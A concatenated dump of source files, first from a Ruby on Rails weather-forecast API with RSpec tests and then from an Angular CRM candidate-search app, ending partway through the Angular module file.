expect(current[:dew_point]).to be_a Float
expect(current).to have_key :uvi
expect(current[:uvi]).to be_a Numeric
expect(current).to have_key :clouds
expect(current[:clouds]).to be_an Integer
expect(current).to have_key :visibility
expect(current[:visibility]).to be_a Numeric
expect(current).to have_key :wind_speed
expect(current[:wind_speed]).to be_a Float
expect(current).to have_key :wind_deg
expect(current[:wind_deg]).to be_an Integer
expect(current).to have_key :wind_gust
expect(current[:wind_gust]).to be_a Float
expect(current).to have_key :weather
expect(current[:weather]).to be_an Array
expect(current[:weather].first).to have_key :id
expect(current[:weather].first[:id]).to be_an Integer
expect(current[:weather].first).to have_key :main
expect(current[:weather].first[:main]).to be_a String
expect(current[:weather].first).to have_key :description
expect(current[:weather].first[:description]).to be_a String
expect(current[:weather].first).to have_key :icon
expect(current[:weather].first[:icon]).to be_a String
expect(hourly).to be_an Array
hour = hourly.first
expect(hour).to be_a Hash
expect(hour).to have_key :dt
expect(hour[:dt]).to be_an Integer
expect(hour).to have_key :temp
expect(hour[:temp]).to be_a Float
expect(hour).to have_key :feels_like
expect(hour[:feels_like]).to be_a Float
expect(hour).to have_key :pressure
expect(hour[:pressure]).to be_an Integer
expect(hour).to have_key :humidity
expect(hour[:humidity]).to be_a Numeric
expect(hour).to have_key :dew_point
expect(hour[:dew_point]).to be_a Float
expect(hour).to have_key :uvi
expect(hour[:uvi]).to be_a Numeric
expect(hour).to have_key :clouds
expect(hour[:clouds]).to be_an Integer
expect(hour).to have_key :visibility
expect(hour[:visibility]).to be_a Numeric
expect(hour).to have_key :wind_speed
expect(hour[:wind_speed]).to be_a Float
expect(hour).to have_key :wind_deg
expect(hour[:wind_deg]).to be_an Integer
expect(hour[:weather]).to be_an Array
expect(hour[:weather].first).to have_key :id
expect(hour[:weather].first[:id]).to be_an Integer
expect(hour[:weather].first).to have_key :main
expect(hour[:weather].first[:main]).to be_a String
expect(hour[:weather].first).to have_key :description
expect(hour[:weather].first[:description]).to be_a String
expect(hour[:weather].first).to have_key :icon
expect(hour[:weather].first[:icon]).to be_a String
expect(hour).to have_key :pop
expect(hour[:pop]).to be_a Numeric
expect(daily).to be_an Array
day = daily.first
expect(day).to be_a Hash
expect(day).to have_key :dt
expect(day[:dt]).to be_an Integer
expect(day).to have_key :sunrise
expect(day[:sunrise]).to be_an Integer
expect(day).to have_key :sunset
expect(day[:sunset]).to be_an Integer
expect(day).to have_key :temp
expect(day[:temp]).to be_a Hash
expect(day[:temp]).to have_key :day
expect(day[:temp][:day]).to be_a Float
expect(day[:temp]).to have_key :min
expect(day[:temp][:min]).to be_a Float
expect(day[:temp]).to have_key :max
expect(day[:temp][:max]).to be_a Float
expect(day[:temp]).to have_key :night
expect(day[:temp][:night]).to be_a Float
expect(day[:temp]).to have_key :eve
expect(day[:temp][:eve]).to be_a Float
expect(day[:temp]).to have_key :morn
expect(day[:temp][:morn]).to be_a Float
expect(day).to have_key :feels_like
expect(day[:feels_like]).to be_a Hash
expect(day[:feels_like]).to have_key :day
expect(day[:feels_like][:day]).to be_a Float
expect(day[:feels_like]).to have_key :night
expect(day[:feels_like][:night]).to be_a Float
expect(day[:feels_like]).to have_key :eve
expect(day[:feels_like][:eve]).to be_a Float
expect(day[:feels_like]).to have_key :morn
expect(day[:feels_like][:morn]).to be_a Float
expect(day).to have_key :pressure
expect(day[:pressure]).to be_an Integer
expect(day).to have_key :humidity
expect(day[:humidity]).to be_a Numeric
expect(day).to have_key :dew_point
expect(day[:dew_point]).to be_a Float
expect(day).to have_key :wind_speed
expect(day[:wind_speed]).to be_a Float
expect(day).to have_key :wind_deg
expect(day[:wind_deg]).to be_an Integer
expect(day[:weather]).to be_an Array
expect(day[:weather].first).to have_key :id
expect(day[:weather].first[:id]).to be_an Integer
expect(day[:weather].first).to have_key :main
expect(day[:weather].first[:main]).to be_a String
expect(day[:weather].first).to have_key :description
expect(day[:weather].first[:description]).to be_a String
expect(day[:weather].first).to have_key :icon
expect(day[:weather].first[:icon]).to be_a String
expect(day).to have_key :clouds
expect(day[:clouds]).to be_an Integer
expect(day).to have_key :pop
expect(day[:pop]).to be_a Numeric
expect(day).to have_key :uvi
expect(day[:uvi]).to be_a Numeric
end
end
end
<file_sep>/app/poros/image.rb
class Image
attr_reader :location,
:image_url,
:alt_description,
:credit
def initialize(data)
@location = data[:location][:title]
@image_url = data[:urls][:full]
@alt_description = data[:alt_description]
@credit = credit_initialize(data)
end
def id; end
def credit_initialize(data)
{
source: 'unsplash.com',
author: data[:user][:username],
author_page: data[:user][:links][:html]
}
end
end
<file_sep>/spec/facades/geocode_facade_spec.rb
require 'rails_helper'
describe 'GeocodeFacade' do
it 'can create a location object from a location string' do
VCR.use_cassette('denverco_coord_request') do
location_string = 'denver,co'
location = GeocodeFacade.location(location_string)
expect(location).to be_a Location
expect(location.latitude).to be_a Float
expect(location.longitude).to be_a Float
end
end
end
<file_sep>/app/controllers/api/v1/images_controller.rb
class Api::V1::ImagesController < ApplicationController
def background
render json: ImageSerializer.new(image)
end
private
def image
@image ||= ImageFacade.background(params[:location])
end
end
<file_sep>/spec/requests/api/v1/forecast/forecast_request_with_location_spec.rb
require 'rails_helper'
describe 'Forecast Request' do
it 'can return forecast information for a location string' do
VCR.use_cassette('denverco_weather_request') do
VCR.use_cassette('denverco_coord_request') do
location = 'denver,co'
headers = {
'Content-Type' => 'application/json',
'Accept' => 'application/json'
}
get api_v1_forecast_path(location: location), headers: headers
expect(response).to be_successful
forecast_response = JSON.parse(response.body, symbolize_names: true)
expect(forecast_response).to be_a Hash
expect(forecast_response).to have_key :data
data = forecast_response[:data]
expect(data[:id]).to be nil
expect(data[:type]).to eq('forecast')
current_weather = data[:attributes][:current_weather]
expect(Time.parse(current_weather[:datetime])).to eq Time.parse('2021-01-18 09:31:02 -0700')
expect(Time.parse(current_weather[:sunrise])).to eq Time.parse('2021-01-18 07:17:38 -0700')
expect(Time.parse(current_weather[:sunset])).to eq Time.parse('2021-01-18 17:02:55 -0700')
expect(current_weather[:temperature]).to eq 33.67
expect(current_weather[:feels_like]).to eq 27.57
expect(current_weather[:humidity]).to eq 57
expect(current_weather[:uvi]).to eq 1.23
expect(current_weather[:visibility]).to eq 10000
expect(current_weather[:conditions]).to eq 'scattered clouds'
expect(current_weather[:icon]).to eq '03d'
daily_weather = data[:attributes][:daily_weather]
expect(daily_weather.length).to eq 5
expect(daily_weather[0][:date]).to eq '2021-01-19'
expect(Time.parse(daily_weather[0][:sunrise])).to eq Time.parse('2021-01-19 07:17:07 -0700')
expect(Time.parse(daily_weather[0][:sunset])).to eq Time.parse('2021-01-19 17:04:03 -0700')
expect(daily_weather[0][:max_temp]).to eq 36.46
expect(daily_weather[0][:min_temp]).to eq 28.2
expect(daily_weather[0][:conditions]).to eq 'overcast clouds'
expect(daily_weather[0][:icon]).to eq '04d'
hourly_weather = data[:attributes][:hourly_weather]
expect(daily_weather.length).to eq 5
expect(hourly_weather[0][:time]).to be_a String
expect(hourly_weather[0][:temperature]).to eq 34.16
expect(hourly_weather[0][:wind_speed]).to eq '4.81 mph'
expect(hourly_weather[0][:wind_direction]).to eq 'from SE'
expect(hourly_weather[0][:conditions]).to eq 'scattered clouds'
expect(hourly_weather[0][:icon]).to eq '03d'
end
end
end
end
<file_sep>/app/facades/road_trip_facade.rb
class RoadTripFacade
class << self
def road_trip(start_point, end_point)
road_trip_data = GeocodeService.road_trip_data(start_point, end_point)
road_trip = RoadTrip.new(road_trip_data)
raw_time = road_trip_data[:route][:formattedTime].split(':')
end_location = Location.new(road_trip.lat_lng)
end_forecast = WeatherFacade.forecast(end_location)
current_hour = end_forecast.current_weather[:datetime][11..12].to_i
arrival_hour = raw_time[0].to_i + current_hour
arrival_forecast_data = end_forecast.hourly_weather.find do |hour|
hour[:time].split(':')[0].to_i == arrival_hour
end
forecast = {
temperature: arrival_forecast_data[:temperature],
conditions: arrival_forecast_data[:conditions].capitalize
}
road_trip.add_weather(forecast)
road_trip
end
end
end
<file_sep>/app/serializers/user_serializer.rb
class UserSerializer
include FastJsonapi::ObjectSerializer
set_type :users
attributes :email, :api_key
end
<file_sep>/spec/requests/api/v1/users/user_registration_spec.rb
require 'rails_helper'
describe 'User POST request' do
it 'can create a user and return an api_key' do
email = '<EMAIL>'
password = '<PASSWORD>'
headers = {
'Content-Type' => 'application/json',
'Accept' => 'application/json'
}
post api_v1_users_path(
email: email, password: <PASSWORD>, password_confirmation: <PASSWORD>
), headers: headers
user = User.last
expect(user.email).to eq email
expect(user.api_key).to_not be_empty
expect(user.api_key).to be_a String
expect(response).to have_http_status 201
parsed_data = JSON.parse(response.body, symbolize_names: true)
expect(parsed_data).to have_key :data
expect(parsed_data[:data]).to be_a Hash
user_data = parsed_data[:data]
expect(user_data).to have_key :type
expect(user_data[:type]).to eq 'users'
expect(user_data).to have_key :id
expect(user_data[:id]).to eq user.id.to_s
expect(user_data).to have_key :attributes
expect(user_data[:attributes]).to be_a Hash
attributes = user_data[:attributes]
expect(attributes).to have_key :email
expect(attributes[:email]).to eq email
expect(attributes).to have_key :api_key
expect(attributes[:api_key]).to eq user.api_key
expect(attributes).to_not have_key :password
end
it 'returns an error response when the passwords do not match' do
email = '<EMAIL>'
password = '<PASSWORD>'
headers = {
'Content-Type' => 'application/json',
'Accept' => 'application/json'
}
post api_v1_users_path(
email: email, password: <PASSWORD>, password_confirmation: '<PASSWORD>'
), headers: headers
expect(response).to have_http_status 422
error = JSON.parse(response.body, symbolize_names: true)
expect(error).to be_a Hash
expect(error).to have_key :errors
expect(error[:errors]).to be_an Array
expect(error[:errors][0]).to eq 'Password confirmation doesn\'t match Password'
end
it 'returns an error response when the email is already taken' do
email = '<EMAIL>'
password = '<PASSWORD>'
headers = {
'Content-Type' => 'application/json',
'Accept' => 'application/json'
}
User.create!(
email: email,
password: '<PASSWORD>',
password_confirmation: '<PASSWORD>'
)
post api_v1_users_path(
email: email, password: <PASSWORD>, password_confirmation: <PASSWORD>
), headers: headers
expect(response).to have_http_status 422
error = JSON.parse(response.body, symbolize_names: true)
expect(error).to be_a Hash
expect(error).to have_key :errors
expect(error[:errors]).to be_an Array
expect(error[:errors][0]).to eq 'Email has already been taken'
end
end
<file_sep>/app/poros/forecast.rb
class Forecast
attr_reader :id
def initialize(data)
@id = nil
@current_weather = data[:current]
@daily_weather = data[:daily][1..5]
@hourly_weather = data[:hourly][1..8]
end
def current_weather
{
datetime: format_datetime(@current_weather[:dt]),
sunrise: format_datetime(@current_weather[:sunrise]),
sunset: format_datetime(@current_weather[:sunset]),
temperature: @current_weather[:temp],
feels_like: @current_weather[:feels_like],
humidity: @current_weather[:humidity],
uvi: @current_weather[:uvi],
visibility: @current_weather[:visibility],
conditions: @current_weather[:weather][0][:description],
icon: @current_weather[:weather][0][:icon]
}
end
def daily_weather
@daily_weather.map do |day|
{
date: Time.at(day[:dt]).getlocal.strftime('%Y-%m-%d'),
sunrise: format_datetime(day[:sunrise]),
sunset: format_datetime(day[:sunset]),
max_temp: day[:temp][:max],
min_temp: day[:temp][:min],
conditions: day[:weather][0][:description],
icon: day[:weather][0][:icon]
}
end
end
def hourly_weather
@hourly_weather.map do |hour|
{
time: Time.at(hour[:dt]).getlocal.strftime('%H:%M:%S'),
temperature: hour[:temp],
wind_speed: "#{hour[:wind_speed]} mph",
wind_direction: "from #{cardinal_direction(hour[:wind_deg])}",
conditions: hour[:weather][0][:description],
icon: hour[:weather][0][:icon]
}
end
end
def format_datetime(seconds)
Time.at(seconds).getlocal.to_s
end
def cardinal_direction(deg)
directions = {
(0..22) => 'N',
(23..67) => 'NE',
(68..112) => 'E',
(113..157) => 'SE',
(158..202) => 'S',
(203..247) => 'SW',
(248..292) => 'W',
(293..337) => 'NW',
(338..359) => 'N'
}
key = directions.keys.find do |direction|
direction.cover?(deg)
end
directions[key]
end
end
<file_sep>/app/controllers/api/v1/sessions_controller.rb
class Api::V1::SessionsController < ApplicationController
def create
if user && user.authenticate(params[:password])
render json: UserSerializer.new(user)
else
render json: { errors: ['Invalid credentials'] }, status: :bad_request
end
end
private
def user
@user ||= User.find_by(email: params[:email])
end
end
<file_sep>/app/poros/location.rb
class Location
attr_reader :latitude,
:longitude
def initialize(data)
if data[:results]
@latitude = data[:results][0][:locations][0][:latLng][:lat]
@longitude = data[:results][0][:locations][0][:latLng][:lng]
else
@latitude = data[:lat]
@longitude = data[:lng]
end
end
end
<file_sep>/spec/services/image_service_spec.rb
require 'rails_helper'
describe 'Image Service' do
it 'can get an image' do
VCR.use_cassette('denver_background_request') do
location = 'denver,co'
background_data = ImageService.background(location)
expect(background_data).to be_a Hash
expect(background_data).to have_key :location
expect(background_data[:location]).to be_a Hash
expect(background_data[:location]).to have_key :title
expect(background_data[:location][:title]).to be_a String
expect(background_data).to have_key :urls
expect(background_data[:urls]).to be_a Hash
expect(background_data[:urls]).to have_key :full
expect(background_data[:urls][:full]).to be_a String
expect(background_data).to have_key :alt_description
expect(background_data[:alt_description]).to be_a String
expect(background_data).to have_key :user
expect(background_data[:user]).to be_a Hash
expect(background_data[:user]).to have_key :username
expect(background_data[:user][:username]).to be_a String
expect(background_data[:user]).to have_key :links
expect(background_data[:user][:links]).to be_a Hash
expect(background_data[:user][:links]).to have_key :html
expect(background_data[:user][:links][:html]).to be_a String
end
end
end
<file_sep>/spec/poros/forecast_spec.rb
require 'rails_helper'
describe 'Forecast' do
before :each do
VCR.use_cassette('denverco_weather_request') do
location = instance_double('Location', latitude: 39.738453, longitude: -104.984853)
@data = WeatherService.weather_at_coords(location)
end
end
it 'exists' do
expect(Forecast.new(@data)).to be_a Forecast
end
before :each do
@forecast = Forecast.new(@data)
end
it 'has attributes' do
expect(@forecast.id).to be nil
expect(@forecast.current_weather).to be_a Hash
expect(@forecast.daily_weather).to be_an Array
expect(@forecast.daily_weather.length).to eq(5)
expect(@forecast.hourly_weather).to be_an Array
expect(@forecast.hourly_weather.length).to eq(8)
end
it 'can format datetime' do
seconds = 1610893087
formatted_time = @forecast.format_datetime(seconds)
expect(formatted_time).to eq(Time.at(seconds).getlocal.to_s)
end
it 'can get compass direction from an angle' do
expect(@forecast.cardinal_direction(0)).to eq 'N'
expect(@forecast.cardinal_direction(11)).to eq 'N'
expect(@forecast.cardinal_direction(22)).to eq 'N'
expect(@forecast.cardinal_direction(23)).to eq 'NE'
expect(@forecast.cardinal_direction(34)).to eq 'NE'
expect(@forecast.cardinal_direction(67)).to eq 'NE'
expect(@forecast.cardinal_direction(68)).to eq 'E'
expect(@forecast.cardinal_direction(79)).to eq 'E'
expect(@forecast.cardinal_direction(112)).to eq 'E'
expect(@forecast.cardinal_direction(113)).to eq 'SE'
expect(@forecast.cardinal_direction(124)).to eq 'SE'
expect(@forecast.cardinal_direction(157)).to eq 'SE'
expect(@forecast.cardinal_direction(158)).to eq 'S'
expect(@forecast.cardinal_direction(169)).to eq 'S'
expect(@forecast.cardinal_direction(202)).to eq 'S'
expect(@forecast.cardinal_direction(203)).to eq 'SW'
expect(@forecast.cardinal_direction(214)).to eq 'SW'
expect(@forecast.cardinal_direction(247)).to eq 'SW'
expect(@forecast.cardinal_direction(248)).to eq 'W'
expect(@forecast.cardinal_direction(259)).to eq 'W'
expect(@forecast.cardinal_direction(292)).to eq 'W'
expect(@forecast.cardinal_direction(293)).to eq 'NW'
expect(@forecast.cardinal_direction(304)).to eq 'NW'
expect(@forecast.cardinal_direction(337)).to eq 'NW'
expect(@forecast.cardinal_direction(338)).to eq 'N'
expect(@forecast.cardinal_direction(349)).to eq 'N'
expect(@forecast.cardinal_direction(359)).to eq 'N'
end
it 'has correctly formatted current_weather' do
current_weather = @forecast.current_weather
expect(current_weather).to have_key(:datetime)
expect(current_weather[:datetime]).to eq(
@forecast.format_datetime(@data[:current][:dt])
)
expect(current_weather).to have_key(:sunrise)
expect(current_weather[:sunrise]).to eq(
@forecast.format_datetime(@data[:current][:sunrise])
)
expect(current_weather).to have_key(:sunset)
expect(current_weather[:sunset]).to eq(
@forecast.format_datetime(@data[:current][:sunset])
)
expect(current_weather).to have_key(:temperature)
expect(current_weather[:temperature]).to eq(@data[:current][:temp])
expect(current_weather).to have_key(:feels_like)
expect(current_weather[:feels_like]).to eq(@data[:current][:feels_like])
expect(current_weather).to have_key(:humidity)
expect(current_weather[:humidity]).to eq(@data[:current][:humidity])
expect(current_weather).to have_key(:uvi)
expect(current_weather[:uvi]).to eq(@data[:current][:uvi])
expect(current_weather).to have_key(:visibility)
expect(current_weather[:visibility]).to eq(@data[:current][:visibility])
expect(current_weather).to have_key(:conditions)
expect(current_weather[:conditions]).to eq(
@data[:current][:weather][0][:description]
)
expect(current_weather).to have_key(:icon)
expect(current_weather[:icon]).to eq(
@data[:current][:weather][0][:icon]
)
expect(current_weather).to_not have_key(:dew_point)
expect(current_weather).to_not have_key(:clouds)
expect(current_weather).to_not have_key(:wind_speed)
expect(current_weather).to_not have_key(:wind_gust)
expect(current_weather).to_not have_key(:weather)
end
it 'has correctly formatted daily_weather' do
daily_weather = @forecast.daily_weather[0]
expect(daily_weather).to be_a Hash
expect(daily_weather).to have_key :date
expect(daily_weather[:date]).to eq(
Time.at(@data[:daily][1][:dt]).getlocal.strftime("%Y-%m-%d")
)
expect(daily_weather).to have_key :sunrise
expect(daily_weather[:sunrise]).to eq(
Time.at(@data[:daily][1][:sunrise]).to_s
)
expect(daily_weather).to have_key :sunset
expect(daily_weather[:sunset]).to eq(
Time.at(@data[:daily][1][:sunset]).to_s
)
expect(daily_weather).to have_key :max_temp
expect(daily_weather[:max_temp]).to eq @data[:daily][1][:temp][:max]
expect(daily_weather).to have_key :min_temp
expect(daily_weather[:min_temp]).to eq @data[:daily][1][:temp][:min]
expect(daily_weather).to have_key :conditions
expect(daily_weather[:conditions]).to eq(
@data[:daily][1][:weather][0][:description]
)
expect(daily_weather).to have_key :icon
expect(daily_weather[:icon]).to eq @data[:daily][1][:weather][0][:icon]
expect(daily_weather).to_not have_key :temp
expect(daily_weather).to_not have_key :pressure
expect(daily_weather).to_not have_key :humidity
expect(daily_weather).to_not have_key :dew_point
expect(daily_weather).to_not have_key :wind_speed
expect(daily_weather).to_not have_key :wind_deg
expect(daily_weather).to_not have_key :weather
expect(daily_weather).to_not have_key :clouds
expect(daily_weather).to_not have_key :pop
expect(daily_weather).to_not have_key :uvi
end
it 'has correctly formatted hourly_weather' do
hourly_weather = @forecast.hourly_weather[0]
expect(hourly_weather).to be_a Hash
expect(hourly_weather).to have_key :time
expect(hourly_weather[:time]).to eq(
Time.at(@data[:hourly][1][:dt]).getlocal.strftime("%H:%M:%S")
)
expect(hourly_weather).to have_key :temperature
expect(hourly_weather[:temperature]).to eq @data[:hourly][1][:temp]
expect(hourly_weather).to have_key :wind_speed
expect(hourly_weather[:wind_speed]).to eq(
@data[:hourly][1][:wind_speed].to_s + " mph"
)
expect(hourly_weather).to have_key :wind_direction
expect(hourly_weather[:wind_direction]).to eq(
'from ' + @forecast.cardinal_direction(@data[:hourly][1][:wind_deg])
)
expect(hourly_weather).to have_key :conditions
expect(hourly_weather[:conditions]).to eq(
@data[:hourly][1][:weather][0][:description]
)
expect(hourly_weather).to have_key :icon
expect(hourly_weather[:icon]).to eq(
@data[:hourly][1][:weather][0][:icon]
)
expect(hourly_weather).to_not have_key(:pressure)
expect(hourly_weather).to_not have_key(:humidity)
expect(hourly_weather).to_not have_key(:dew_point)
expect(hourly_weather).to_not have_key(:uvi)
expect(hourly_weather).to_not have_key(:clouds)
expect(hourly_weather).to_not have_key(:visibility)
expect(hourly_weather).to_not have_key(:weather)
expect(hourly_weather).to_not have_key(:pop)
end
end
<file_sep>/app/services/weather_service.rb
class WeatherService
class << self
def weather_at_coords(location)
response = conn.get('onecall') do |req|
req.params[:lat] = location.latitude
req.params[:lon] = location.longitude
end
JSON.parse(response.body, symbolize_names: true)
end
private
def conn
Faraday.new(
url: 'https://api.openweathermap.org/data/2.5',
params: {
appid: ENV['WEATHER_API_KEY'],
exclude: 'minutely,alerts',
units: 'imperial'
},
headers: headers
)
end
def headers
{
'Content-Type' => 'application/json',
'Accept' => 'application/json'
}
end
end
end
| 74e78e68bb09cbd5a9cdfd80302f91f0f7ba3789 | [
"Markdown",
"Ruby"
] | 36 | Ruby | c-bartell/sweater_weather | 12347fd1e78661e40c97e5d2a0777dfa2f19da0e | 4bfc97e6d864066ced5f8d7713c9437a1b286296 |
refs/heads/master | <repo_name>chen-sella/crm-dev-assignment<file_sep>/src/app/cmps/candidate-preview/candidate-preview.component.ts
import { Component, Input, OnInit, Output, EventEmitter } from '@angular/core';
import * as moment from 'moment';
import { AlertService } from 'src/app/services/alert.service';
@Component({
selector: 'candidate-preview',
templateUrl: './candidate-preview.component.html',
styleUrls: ['./candidate-preview.component.scss'],
})
export class CandidatePreviewComponent implements OnInit {
@Input() candidate;
@Input() filter;
@Output() job = new EventEmitter<object>();
date: String;
fullName: String;
constructor(protected alertService: AlertService) {}
addToJob(candidate) {
this.job.emit(candidate);
this.alertService.addToJob(
`${this.fullName} was added to job ${
this.filter.term ? this.filter.term : 'list'
}`
);
}
highlightJob() {
if (!this.filter.term) return this.candidate.currentCompany.title;
return this.candidate.currentCompany.title.replace(
new RegExp(this.filter.term, 'i'),
(match) => {
return '<span class="highlight">' + match + '</span>';
}
);
}
ngOnInit(): void {
this.date = moment(this.candidate.currentCompany.startDate).toNow(true);
this.fullName = this.candidate.firstName + ' ' + this.candidate.lastName;
}
}
<file_sep>/src/app/cmps/crm-header/crm-header.component.ts
import { Component, Input, OnInit } from '@angular/core';
import { Subscription } from 'rxjs';
@Component({
selector: 'crm-header',
templateUrl: './crm-header.component.html',
styleUrls: ['./crm-header.component.scss'],
})
export class CrmHeaderComponent implements OnInit {
@Input() resultsNum;
@Input() jobsNum;
@Input() filter;
isShowMenu: boolean = false;
subscription: Subscription;
constructor() {}
ngOnInit(): void {}
}
<file_sep>/src/app/pages/crm-app/crm-app.component.ts
import { Component, OnInit, OnDestroy } from '@angular/core';
import { Subscription } from 'rxjs';
import { CandidateService } from 'src/app/services/candidate.service';
@Component({
selector: 'crm-app',
templateUrl: './crm-app.component.html',
styleUrls: ['./crm-app.component.scss'],
})
export class CRMAppComponent implements OnInit {
cnadidates: Array<object>;
filter: object;
jobs: Array<object>;
candidateSubscription: Subscription;
filterSubscription: Subscription;
jobsSubscription: Subscription;
isSeeMore: boolean = false;
constructor(private candidateService: CandidateService) {}
cnadidatesToRender() {
return this.isSeeMore ? this.cnadidates : this.cnadidates.slice(0, 3);
}
addToJob(candidate) {
this.candidateService.addToJob(candidate);
}
ngOnInit(): void {
this.candidateService.getCandidates();
this.candidateService.loadJobs();
this.candidateSubscription = this.candidateService.candidates$.subscribe(
(candidates) => (this.cnadidates = candidates)
);
this.filterSubscription = this.candidateService.filterBy$.subscribe(
(filterBy) => (this.filter = filterBy)
);
this.jobsSubscription = this.candidateService.jobs$.subscribe(
(jobs) => (this.jobs = jobs)
);
}
ngOnDestroy() {
this.candidateSubscription.unsubscribe();
this.filterSubscription.unsubscribe();
this.jobsSubscription.unsubscribe();
}
}
<file_sep>/src/app/cmps/alert/alert.component.ts
import { Component, OnInit, OnDestroy } from '@angular/core';
import { Subscription } from 'rxjs';
import { Alert } from 'src/app/models/alert';
import { AlertService } from 'src/app/services/alert.service';
import { trigger, transition, animate, style } from '@angular/animations';
@Component({
selector: 'alert',
templateUrl: './alert.component.html',
styleUrls: ['./alert.component.scss'],
animations: [
trigger('enterLeaveTrigger', [
transition(':enter', [
style({ opacity: 0 }),
animate('300ms', style({ opacity: 1 })),
]),
transition(':leave', [animate('300ms', style({ opacity: 0 }))]),
]),
],
})
export class AlertComponent implements OnInit {
alert: Alert;
alertSubscription: Subscription;
constructor(private alertService: AlertService) {}
removeAlert() {
this.alert = null;
}
ngOnInit(): void {
this.alertSubscription = this.alertService.onAlert().subscribe((alert) => {
this.alert = alert;
setTimeout(() => this.removeAlert(), 3000);
});
}
ngOnDestroy() {
this.alertSubscription.unsubscribe();
}
}
<file_sep>/src/app/services/candidate.service.ts
import { Injectable } from '@angular/core';
import { HttpClient } from '@angular/common/http';
import { BehaviorSubject } from 'rxjs';
@Injectable({
providedIn: 'root',
})
export class CandidateService {
constructor(private http: HttpClient) {}
private _filterBy$ = new BehaviorSubject({ term: 'UX Designer' });
public filterBy$ = this._filterBy$.asObservable();
private _sortBy$ = new BehaviorSubject({ term: 'Relevance' });
public sortByy$ = this._sortBy$.asObservable();
private _candidates$ = new BehaviorSubject([]);
public candidates$ = this._candidates$.asObservable();
private _jobs$ = new BehaviorSubject([]);
public jobs$ = this._jobs$.asObservable();
public getCandidates() {
var candidates = this.load('candidatesDB');
if (!candidates || !candidates.length) {
this.http.get('assets/searchResults.json').subscribe((data) => {
this.store('candidatesDB', data['candidates']);
this.filterCandidates(data['candidates']);
});
} else {
this.filterCandidates(candidates);
}
}
private filterCandidates(candidates) {
const filterBy = this._filterBy$.getValue();
const filterCandidates = candidates.filter((candidate) =>
candidate.currentCompany.jobTitle
.toLowerCase()
.includes(filterBy.term.toLowerCase())
);
this.sortCandidates(filterCandidates);
}
public setFilter(filterBy) {
this._filterBy$.next({ term: filterBy });
this.getCandidates();
}
public setSort(sortStr) {
this._sortBy$.next({ term: sortStr });
this.getCandidates();
}
public addToJob(candidate) {
const candidates = this.load('candidatesDB');
const idx = candidates.findIndex(
({ swoopProfileId }) => swoopProfileId === candidate.swoopProfileId
);
candidates.splice(idx, 1);
this.store('candidatesDB', candidates);
this.filterCandidates(candidates);
this.updateJobs(candidate);
}
public loadJobs() {
var jobs = this.load('jobsDB');
if (!jobs || !jobs.length) {
jobs = [];
this.store('jobsDB', jobs);
}
this._jobs$.next(jobs);
}
private sortCandidates(candidates) {
const sortStr = this._sortBy$.getValue();
var sortCandidates;
if (sortStr.term === 'Relevance') {
sortCandidates = candidates;
}
if (sortStr.term === 'Name') {
sortCandidates = candidates.sort((candidateA, candidateB) => {
const nameA = candidateA.firstName.toLowerCase();
const nameB = candidateB.firstName.toLowerCase();
if (nameA > nameB) return 1;
if (nameA < nameB) return -1;
return 0;
});
}
if (sortStr.term === 'Seniority') {
sortCandidates = candidates.sort((candidateA, candidateB) => {
const seniorityA = new Date(candidateA.currentCompany.startDate);
const seniorityB = new Date(candidateB.currentCompany.startDate);
return seniorityA.getTime() - seniorityB.getTime();
});
}
this._candidates$.next(sortCandidates);
}
private updateJobs(candidate) {
var jobs = this.load('jobsDB');
jobs.push(candidate);
this._jobs$.next(jobs);
this.store('jobsDB', jobs);
}
private store(key, value) {
localStorage[key] = JSON.stringify(value);
}
private load(key, defaultValue = null) {
var value = localStorage[key] || defaultValue;
return JSON.parse(value);
}
}
<file_sep>/src/app/cmps/search-bar/search-bar.component.ts
import { Component, Input, OnInit } from '@angular/core';
import { FormControl } from '@angular/forms';
import { debounceTime } from 'rxjs/operators';
import { CandidateService } from 'src/app/services/candidate.service';
@Component({
selector: 'search-bar',
templateUrl: './search-bar.component.html',
styleUrls: ['./search-bar.component.scss'],
})
export class SearchBarComponent implements OnInit {
searchField: FormControl;
constructor(private candidateService: CandidateService) {}
ngOnInit(): void {
this.searchField = new FormControl('UX Designer');
this.searchField.valueChanges
.pipe(debounceTime(1000))
.subscribe((value) => this.candidateService.setFilter(value));
}
}
<file_sep>/src/app/services/alert.service.ts
import { Injectable } from '@angular/core';
import { Observable, Subject } from 'rxjs';
import { filter } from 'rxjs/operators';
import { Alert } from '../models/alert';
@Injectable({
providedIn: 'root',
})
export class AlertService {
constructor() {}
private subject = new Subject<Alert>();
public onAlert(): Observable<Alert> {
return this.subject.asObservable();
}
addToJob(message: string) {
this.alert({ message });
}
alert(alert) {
this.subject.next(alert);
}
}
<file_sep>/src/app/cmps/candidate-list/candidate-list.component.ts
import { Component, Input, OnInit, Output, EventEmitter } from '@angular/core';
@Component({
selector: 'candidate-list',
templateUrl: './candidate-list.component.html',
styleUrls: ['./candidate-list.component.scss'],
})
export class CandidateListComponent implements OnInit {
@Input() candidates;
@Input() filter;
@Output() job = new EventEmitter<object>();
addToJob(candidate) {
this.job.emit(candidate);
}
constructor() {}
ngOnInit(): void {}
}
<file_sep>/src/app/cmps/sort-by/sort-by.component.ts
import { Component, OnInit } from '@angular/core';
import { CandidateService } from 'src/app/services/candidate.service';
import {
trigger,
transition,
animate,
style,
state,
} from '@angular/animations';
@Component({
selector: 'sort-by',
templateUrl: './sort-by.component.html',
styleUrls: ['./sort-by.component.scss'],
animations: [
trigger('toggleAnimation', [
state(
'open',
style({
height: '128px',
opacity: 1,
})
),
state(
'closed',
style({
height: '0px',
opacity: 0,
})
),
transition('open => closed', [animate('0.25s')]),
transition('closed => open', [animate('0.4s')]),
]),
],
})
export class SortByComponent implements OnInit {
sortBy: String = 'Relevance';
isSortOptShow = false;
constructor(private candidateService: CandidateService) {}
sort(value) {
this.sortBy = value;
this.isSortOptShow = false;
this.candidateService.setSort(value);
}
ngOnInit(): void {}
}
<file_sep>/src/app/app.module.ts
import { NgModule } from '@angular/core';
import { BrowserModule } from '@angular/platform-browser';
import { HttpClientModule } from '@angular/common/http';
import { AppRoutingModule } from './app-routing.module';
import { AvatarModule } from 'ngx-avatar';
import { FormsModule, ReactiveFormsModule } from '@angular/forms';
import { BrowserAnimationsModule } from '@angular/platform-browser/animations';
import { AppComponent } from './app.component';
import { MainHeaderComponent } from './cmps/main-header/main-header.component';
import { MainMenuComponent } from './cmps/main-menu/main-menu.component';
import { CRMAppComponent } from './pages/crm-app/crm-app.component';
import { CrmHeaderComponent } from './cmps/crm-header/crm-header.component';
import { SortByComponent } from './cmps/sort-by/sort-by.component';
import { CandidateListComponent } from './cmps/candidate-list/candidate-list.component';
